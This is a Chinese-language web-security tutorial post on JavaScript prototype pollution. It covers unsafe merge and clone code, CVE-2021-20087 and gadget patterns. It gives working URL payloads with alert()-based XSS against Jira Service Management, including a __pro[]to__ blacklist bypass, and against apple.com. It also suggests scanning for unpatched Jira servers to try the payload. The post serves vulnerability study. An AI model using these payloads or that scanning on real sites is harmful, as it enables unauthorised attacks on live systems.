Prototype Pollution一次探索
bcloud 发表于 四川 WEB安全 540浏览 · 2024-09-27 17:22

简介

原型链污染是一种基于JavaScript语言的漏洞(当然Python语言也存在),攻击者通过控制JavaScript中的意料之外的变量属性从而导致在客户端层面造成XSS漏洞,在服务端层面导致RCE。

该漏洞的产生主要是JavaScript语言特性而导致的,在变量名的声明中,JavaScript对于该声明的代码没有进行很好的处理导致可以通过原型链污染来控制其变量属性从而造成漏洞产生。

理解

原型是JavaScript的主要的继承特性,主要是JavaScript对象之间相互继承的特性机制。

我们先从简单JavaScript代码示例开始说起。在JavaScript中使用{}的格式来创建对象。如下代码:

var my_ob = {a:1, b:2}

这种形式的格式被称之为json数据格式,属于JavaScript编写对象的表示方法。

通过上述短短一行代码我们可以发现该my_ob有两个属性a&b,如果我们想访问a属性的值我们可以使用如下方式,b也是一样。

如果我们想向对象添加新属性,我们可以使用与上面相同的方式进行添加,如下两种方式都可以

my_ob.c = 3 
my_ob["c"] = 3

上述都是非常正常的操作方式,但是不同的情况是在JavaScript中所有都视为对象并从父对象继承过来。比如如下,我们在浏览器控制台中创建了一个名为"hello js"的字符串后面跟上.可以发现会自动提示JavaScript中自带的对象。

这里可以看到很多方法,其中有我们最常见的一个length方法,他的结果是一个数字。我们还可以看到它有一个charAt方法,这个结果是一个函数。还有split方法这是另一个函数。为什么一个简单的字符串会有这么多的属性和方法,这是因为字符串是一个对象并且继承自Object类,而该类具有所有这些属性的方法。

但是这些不是重点,重点是字符串中其中有一个原型,proto属性才是主角。这个属性它允许我们对访问对象的原型进行修改。而且我们发现有些属性是双下划线开头,这是JavaScript内置的特殊属性,主要避免用户创建的其他属性发生不必要的冲突

JavaScript代码不需要像java代码一样深入研究其内部原理,JavaScript不是传统的面向对象语言,而是基于原型的面向对象语言,这就是差别于传统继承的工作原理。所有JavaScript对象依赖于一种proto(或者prototype),它指向该对象的原型,允许继承prototype的属性和方法。

我们继续来看my_ob对象,如上所述,所有的属性和方法都继承于proto,那么a&b也始终具有proto属性。为了进一步理解,我们可以创建一个空对象,然后把em属性添加至Object的prototype属性,然后我们再通过空对象去调用em值看看结果如何。

这里要注意,该情况动态的,因此,如果在创建em_ob之后向Objectclass添加属性,则em_ob仍然可以访问此新属性。

污染

通过上述可以发现直接将属性添加到Objectclass是一种不明智的做法,而且这种在生产环境中非常少见。然而还有一种更常见的模式就是通过修改对象原型来控制任何对象的属性从而达到如标题所说的一样----原型链污染

我们可以创建两个对象,一个为空对象,一个为非空对象,然后我们在非空对象所继承的proto中添加一个x属性,我们分别使用如下三种方式打印一下看看结果如何。

如上图所示,发现所有的东西打印x都是看看情况?,具体原因就是空对象试图调用x属性,但是找不到因此全局查找,由于我们在非空对象把x属性添加到了proto中,因此空对象就会向上寻找proto,发现该属性存在x因此调用了proto的x对象,而Object类本身所有的类都继承于该父类,所以通过console.log(Object.x) 也能获得到x属性值。

通过上述所知,攻击者能够控制proto属性是“原型污染”漏洞的核心,因为它允许他们以意想不到的方式影响所有其他对象上的属性和方法。因此,原型污染的第一个方法就是能够控制对象的proto属性,但现在我们需要确定哪些函数或者功能可以滥用它来影响代码的其他部分以此来造成服务端的RCE以及客户端的XSS。

污染源

从上述的我们可以从本质上的知道所有用户创建的对象都有可能导致原型链污染,而在JavaScript中最常见的三种污染方式分别为clonemerge以及值设置操作。

merge

merge的意思是合并,主要作用于合并对象且方式也是多种多样,其中有一种方式是将源对象的值设置为目标对象中已有的值,如下:

function merge(target, source) { 
  for (var key in source) { 
    target[key] = source[key]; 
  } 
  return target; 
} 
var target = {a: 1}; 
var source = {a: 3, d: 2}; 
// 合并源对象与目标对象
var result = merge(target, source);      
console.log(result);

通过输出发现a的值为3,这就是合并的一个简单示例

除上述能够控制对象属性的JSON解析方式以外还有一种方式就是通过JSON.parse将JSON字符串转换为对象,然后合并对象,这种方式也是最为常见的不安全合并做法

function merge(target, source) { 
  var output = JSON.parse(target); 
  for (var key in source) { 
    output[key] = source[key]; 
  } 
  return output; 
}

clone

使用clone函数可达到同样的效果

// 合并函数
function merge(target, source) {  
  for (var key in source) { 
    target[key] = source[key]; 
  } 
  return target; 
} 
//克隆函数,通过JSON.parse把{}格式的字符串转换为对象然后传入进来调用merge,其中target对象为空对象从而造成不安全合并
function clone(ob) { 
  return merge({}, ob);    
} 
var jsonInput = JSON.parse('{"a": 1, "b": {"c": "2"}}'); 
var cloneOb = clone(jsonInput); 
console.log(cloneOb);

值设置

只设置顾名思义就是直接对属性和值进行赋值操作从而修改对象,如果攻击者可以直接控制属性和值那么就可以将属性设置为proto从而直接控制全局对象。

function setValue(object, property, value) { 
  object[property] = value; 
} 

var test = JSON.parse('{"a": 1, "b": 2}'); 
setValue(test, "a", 3);

console.log(test);

示例

原型链污染的常见情况是将键值对解析为JavaScript中的对象。而CVE-2021-20087漏洞由此产生,此漏洞是jQuery-deparam一个专门执行此操作的库,通过常见jQuery-deparam代码我们可以发现此代码逻辑允许我们通过URL中的参数分配任意键值对从而造成原型链污染漏洞。

if ( Object.prototype.toString.call(obj[key]) === '[object Array]') { 

        obj[key].push(val); 
    } else if ({}.hasOwnProperty.call(obj, key)) { 

        obj[key] = [obj[key], val]; 
    } else { 

        obj[key] = val; 
    }

客户端污染

客户端js代码量过于庞大,如果不想花几个小时去阅读代码的话最好的办法就是借助工具来进行动态查找,例如现在现成的工具DOM Invader和PPScan,工具辅助会比手动阅读源代码要好得多,方法很简单

使用常见的 XSS 源(例如 URL 参数或哈希),设置proto有效载荷,如下所示:

https://baidu.com/?__proto__[polluted]=Polluted 
https://baidu.com/#__proto__[polluted]=Polluted 
https://baidu.com/?__proto__.polluted=Polluted

使用浏览器的控制台,运行以下代码,查看是否在所有对象上都可以使用污染属性:

Object.prototype.polluted 
//如果被污染输出值应该是polluted

使用不同源重放

这里需要注意的是,[]和.符号在这里不是有效的JavaScript语法,而是由开发人员简单定义的。在解析URL或任何类型的用户提供源时,这些符号实际上不是由JavaScript语言提供的。

在搜索原型链污染的时候我们应该关注的不管任何具有复杂结构都保证是在进行递归解析的,那么如下所示,在这种情况下开发人员以这种URL解析则任何一个都可能是原型污染的来源:

https://baidu.com?firstParam=__prototype__&secondParam=polluted&thirdParam=Polluted 
https://baidu.com?param->__proto__->polluted=Polluted

另一个值得关注的地方在于客户端使用JWT令牌并且没有任何类型验证,这也是一个可能造成原型链污染的地方

{ 
  "alg": "HS256", 
  "typ": "JWT", 
  "kid": "1234567", 
    "__proto__": { 
        "polluted": "Polluted" 
    } 
}

污染链

原型污染链的另一个关注点是sink。这不是漏洞本身问题,而是JavaScript编写方式的常见方式,这种方式可以用来利用任何已确定的污染问题并且能够影响全局proto属性但并不是很有用,除非你能用它来影响运行的代码,如下一行代码,这是常见的JavaScript编写方式

var myOb = myOb || {}

该代码检查||左侧的项是否存在,如果不存在,则将其创建为空对象{}。它用于为变量设置默认值,或确保在使用变量之前已经定义变量。

这种模式在JavaScript中随处可见,如果你想控制后面的代码中所使用的变量那么它非常有效,因为如果你使用原型链污染将最左边的变量设置为存在,你现在就可以设置该变量值。

我们再看如下略有不同的例子

newObject = already.initialized || example.init()

如果already.initialized未定义,则example.init()将被调用,但是反过来的话那么already.initialized就是变量的值,说明如果我们有原型污染,我们可以在全局原型上创建already.initialized属性,并将其设置为任何我们想要的值那么到此我们就可以控制newObject的值了

污染链利用

了解了其工作原理过后我们可以使用工作来完成漏洞利用,查找工具的最简单方法是查看应用程序使用的第三方库中预先存在的工具,除此之外有一个关于原型污染工具的很好的存储库如下:

https://github.com/BlackFan/client-side-prototype-pollution。

DOM XSS 接收器

使用Vue.js来获取这个简单的Hello World:

<!DOCTYPE html> 
<html> 
<head> 
  <script src="https://cdn.jsdelivr.net/npm/vue/dist/vue.js"></script> 
</head> 
<body> 
  <div id="app"> 
    <p>{{message}}</p> 
  </div> 
  <script> 
    var app = new Vue({ 
      el: '#app', 
      data: { 
        message: 'Hello World!' 
      } 
    }) 
  </script>

上述代码看起来是没有危害的,但是通过原型链污染我们可以控制没有声明的配置变量,如果我们查看VUE文档我们可以看到很多包含危险变量的函数并且我们上述代码并没有声明模板变量,这意味着Vue.js将首先在选项中查找模板变量,如果找不到此模板变量,那么JavaScript将遍历原型链属性来找到他,如果我们可以将模板变量添加到具有原型链污染的全局对象中那么我们就可以控制危险的模板变量并添加任何未经处理的HTML从而导致XSS的产生

客户端 XSS 过滤器

客户端通过配置允许添加的元素或者属性来防止原型链污染的产生,如果配置中没有明确声明的话那么最终将使用全局变量,我们看看可以在哪里使用原型链污染

gConfig.ALLOWED_TAGS = ['a', 'img', 'b', 'i', 'u', 'em', 'strong', 'br'] 
ALLOWED_TAGS = userConfig.ALLOWED_TAGS || gConfig.ALLOWED_TAGS

上述代码本质上的含义如下:

gConfig.ALLOWED_TAGS = ['a', 'img', 'b', 'i', 'u', 'em', 'strong', 'br'] 

if (userConfig.ALLOWED_TAGS) { 
  ALLOWED_TAGS = userConfig.ALLOWED_TAGS 
} else { 
  ALLOWED_TAGS = gConfig.ALLOWED_TAGS 
}

userConfig.ALLOWED_TAGS这里可以通过原型污染来控制,如果我们添加ALLOWED_TAGS属性在全局原型中并附上我们想要使用的标签数组那么就可以将恶意的标签添加至过滤器中

JavaScript API

除了上述所说的情况以外还有内置的JavaScript API也存在原型链污染,此片文章可看bp产品出品公司的官网有详细的说明与解释

例子

Jira Service Management

主要漏洞版本为4.16.0以及4.18.0,4.18.0是对于修复的一个绕过方式,这个问题主要是客户端XSS问题,主要是Jira项目的漏洞导致通杀的存在,其中Mozilla公司都使用该服务且存在漏洞。此漏洞主要产生是Backbone插件的代码文件backbone.queryparams.js提供参数化查询方式。

payload:

https://jira.mozilla.com/servicedesk/customer/user/signup?__proto__.id=xxx&__proto__.id=xxx&__proto__.isFresh=xxx&__proto__.onmousemove=alert(1)//&__proto__.onmousemove=1

jiro团队通过protoconstrainedprototype列入黑名单来修复该问题,但是其中存在一个_setParamValue函数,该函数会把[]进行替换为空,那这就意味着我们可以使用pro[]to之类的键来绕过。

_extractParameters: function(route, fragment) {

   ...
     if (queryString) {
       var self = this;
       iterateQueryString(queryString, function(name, value) {
         if(name == '__proto__' || name == 'constructor' || name == 'prototype'){return} //fix
         self._setParamValue(name, value, data);

 ...

 _setParamValue: function(key, value, data) {
   key = key.replace('[]', '');
   key = key.replace('%5B%5D', '');
   var parts = key.split('.');
   ...

 }

payload:

https://server:8080/servicedesk/customer/user/signup?__pro[]to__.div=1&__pro[]to__.div=<img src onerror=alert(/xss/)>&__pro[]to__.div=1

这个漏洞虽然已经被修复,不过我们可以去测绘网站搜索一下该服务去试试是否还有没修复的网站,主要该漏洞本地复现的话还比较麻烦

apple官网XSS

此漏洞主要是国外安全人员在做原型链污染。然后编写了一个基本的Chrome插件来做一个自动化扫描测试从而发现apple官网存在此漏洞。最终可通过如下URL成功弹窗:

https://www.apple.com/shop/buy-watch/apple-watch?__proto__[src]=image&__proto__[onerror]=alert(1)

漏洞出现的位置主要在canJS-deparam库中但是我们可以使用[constructor][prototype]来绕过,因此payload如下,不理解其中关系可以去看看这篇文章

https://www.apple.com/shop/buy-watch/apple-watch?a[constructor][prototype]=image&a[constructor][prototype][onerror]=alert(1)

CTF

上面两个漏洞都是对于客户端的XSS漏洞,那么还有针对于服务端的漏洞但是实际生产环境中都相对较少,不过在CTF中却基本都是服务端原型链污染,大家可以看这篇文章来了解基于服务端的原型链污染到底是怎么操作与实现的。

[CTF中的原型链污染案例大全]

总结

原型链污染是比较复杂的漏洞但是该漏洞针对于JavaScript语言的攻击,虽然JavaScript已经逐渐用于服务端,不过理解起来却是比较复杂。

0 条评论
某人
表情
可输入 255